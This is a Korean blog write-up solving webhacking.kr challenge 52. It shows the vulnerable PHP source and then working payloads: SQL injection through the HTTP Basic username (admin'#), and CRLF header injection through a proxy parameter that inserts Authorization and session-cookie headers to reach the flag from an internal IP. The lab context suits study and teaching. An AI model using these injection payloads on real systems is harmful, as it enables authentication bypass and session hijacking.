[webhacking.kr] 52번 문제 풀이[SSRF,HTTP Header Injection]

3 분 소요

💡 Webhacking.kr challenge(old) 52번 문제에 대한 풀이입니다.

문제

image

admin page 소스코드

<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
  $_SESSION['login']="";
  exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
if(!$_SESSION['login']){
  if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
  }
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
  if(!$_SESSION['login']){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo "Login Fail";
  }
}

프록시 서버는 page 변수로 주어진 경로의 값을 읽어 와줍니다.

image

PHP_AUTH_USER

우선 해당 문제를 풀기위해서는 php_auth_user가 어떤 방식으로 인증을 수행하는지 알아야 합니다. 이해를 위해서 예시 코드를 가져왔습니다. 다음은 $_SERVER[‘PHP_AUTH_USER’]를 이용하여 인증을 수행하는 php 코드입니다.

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="My Realm"');
    header('HTTP/1.0 401 Unauthorized');
    echo '사용자가 취소 버튼을 눌렀을 때 전송되는 텍스트';
    exit;
} else {
    echo "<p>안녕하세요, {$_SERVER['PHP_AUTH_USER']}.</p>";
    echo "<p>{$_SERVER['PHP_AUTH_PW']}를 패스워드로 접속했습니다.</p>";
}
?>

해당 php 페이지로 접근하면 초기에는 다음과 같이 로그인을 하라는 창이 나옵니다.

image

이때 취소 버튼을 누르면, echo에 써준 부분이 화면에 출력됩니다.

image

아이디와 비밀번호(guest/guest1234)를 입력하면 다음과 같이 출력이 됩니다.

image

이때 패킷 상에서 $_SERVER[‘PHP_AUTH_USER] 와 $_SERVER[‘PHP_AUTH_PW’]를 어떻게 전달하는지 확인해 보겠습니다. 다음은 아이디와 비밀번호를 입력하고 확인을 눌렀을 때, 요청하는 헤더를 캡처한 것입니다. Authorization 이라는 헤더가 생겼고, 그 값으로 Basic Z3Vlc3Q6Z3Vlc3QxMjM0이 들어가 있습니다.

image

Basic 뒤에 있는 부분은 Base64로 인코딩 된 정보로 Base64로 디코딩 해보면 다음과 같은 나옵니다.

image

즉 $_SERVER[‘PHP_AUTH_USER’] 과 $_SERVER[‘PHP_AUTH_PW’]로 로그인을 하는 php 페이지에서는 헤더로 Authorization 을 만들고 값으로 basic base64encode(id:pw)를 해서 보내면 된다는 것을 알 수 있습니다.

문제 풀이

SQL Injection

우선 이번 문제에서 sql문을 먼저 보면 다음과 같습니다.

select id from member where id='{$id}' and pw='{$pw}

필터링이 하나도 걸려있지 않기 때문에, 다음과 같이 id를 이용해서 sql injection 공격을 해봅니다.

id = admin'#_   <-_는 마지막에 공백을 의미  

성공적으로 공격이 성공함을 볼 수 있습니다. image

지금은 접속한 주소가 저의 IP이기 때문에 풀리지 않습니다. 이제 문제에서 주어진 proxy 서버를 이용해서 접속을 해봅니다.

HTTP Header Injection

프록시 서버에서 ?page=/admin/ 정보를 입력하면 다음처럼 Request 패킷이 작성됩니다.

image

HTTP 헤더는 %0d%0a(CRLF)를 기준으로 헤더를 구분합니다. 따라서 현재 문제에서 다음과 같이 ?page=/admin/%0d%0a를 입력해주면 헤더가 나눠지는 것을 볼 수 있습니다.

image

이제 이를 이용해서 헤더를 추가적으로 삽입 할 수 있습니다. PHP_AUTH 정보를 통과해야 하므로 이전에 설명드렸다 시피 Authorization 헤더를 추가해 주고, base64로 admin’# :1234를 인코딩 한 값을 넣어줍니다.

  base64(admin'# :1234) : YWRtaW4nIyA6MTIzNA==

이제 이 정보들을 조합하여 다음과 같이 만들어 줍니다. 마지막 HTTP/1.1 정보를 처리해 줘야 하기 때문에 서버에서 유효성 검증을 하지 않는 User-Agent를 마지막에 넣어줘서 오류가 나지 않도록 해줬습니다.

?page=/admin/ HTTP/1.1%0d%0aAuthorization: Basic YWRtaW4nIyA6MTIzNA==%0d%0aUser-Agent:

실행을 해보면 다음의 화면이 잠깐 나왔다가 바로 redirect 되버립니다. image

그 이유는 다시 문제 코드를 보면, admin 페이지는 맨 처음 로그인이 성공되면 location.href로 다시 요청을 보내서 생성된 세션으로 로그인 검증을 다시해야 합니다. 하지만 proxy는 단 한번의 요청을 보내고 서버로부터 온 응답값에 대한 처리는 해주지 않기 때문에 풀리지 않습니다.

if($_SESSION['login']){
  // 중략,,
}
// 이 아랫부분만 실행됨
if(!$_SESSION['login']){
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
}

따라서 이번에는 요청시에 세션이 포함되도록 쿼리를 작성해야 합니다. 세션에 대한 정보는 쿠키의 PHPSESSID에 저장됩니다. 위의 캡처된 화면을 보면 Set-Cookie: PHPSESSID= ~이렇게 세션을 만들어 준 것을 볼 수 있습니다. 따라서 해당 세션을 이용해서 다시 재요청을 해봅니다.

/admin/ HTTP/1.1%0d%0aCookie: PHPSESSID=do01jvo450c2j3qteldt46j79l%0d%0aUser-Agent:

image

이렇게 이전에 생성된 세션을 이용해서 재요청을 보내어 문제를 풀 수 있습니다.

깔끔한 풀이

문제를 풀고나서 블로그 정리를 하기 위해서 생각해보니까 위에서 한 방법보다 훨씬 쉽게 푸는 방법이 생각나서 정리해 둡니다.

우선 프록시가 아닌 원래 페이지에서 SQLI 를 이용해서 admin으로 로그인을 한 세션을 생성합니다.

image

image

이제 이 세션을 바로 프록시에서 이용하면 됩니다. 문제의 코드에서 flag를 얻기위한 직접적인 코드만 보면 다음과 같습니다.

<?php
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
  1. 현재 세션에서 login 값이 있으며, 해당 세션의 저장된 값이 ‘admin’이어야 한다.

  2. 그리고 현재 요청을 보낸 사설 ip(프록시 이용)여야 한다.

즉 현재 세션에 $_SESSION[‘login’] = admin 으로 들어가 있고 프록시를 통해서 이 세션을 이용하여 요청만 하면 됩니다.이 세션을 이용하기 위해서는 쿠키에 들어가 있는 PHPSESSID 값을 이용해 줍니다.

image

프록시 서버에서는 HTTP Header Injection을 다음과 같이 해주면 됩니다.

/admin/%20HTTP/1.1%0d%0aCookie: PHPSESSID=47986b0fbems9oh0nupk83ek88%0d%0aUser-Agent:

위와같이 요청하면 다음과 같이 성공적으로 플래그를 획득할 수 있습니다.

image

댓글남기기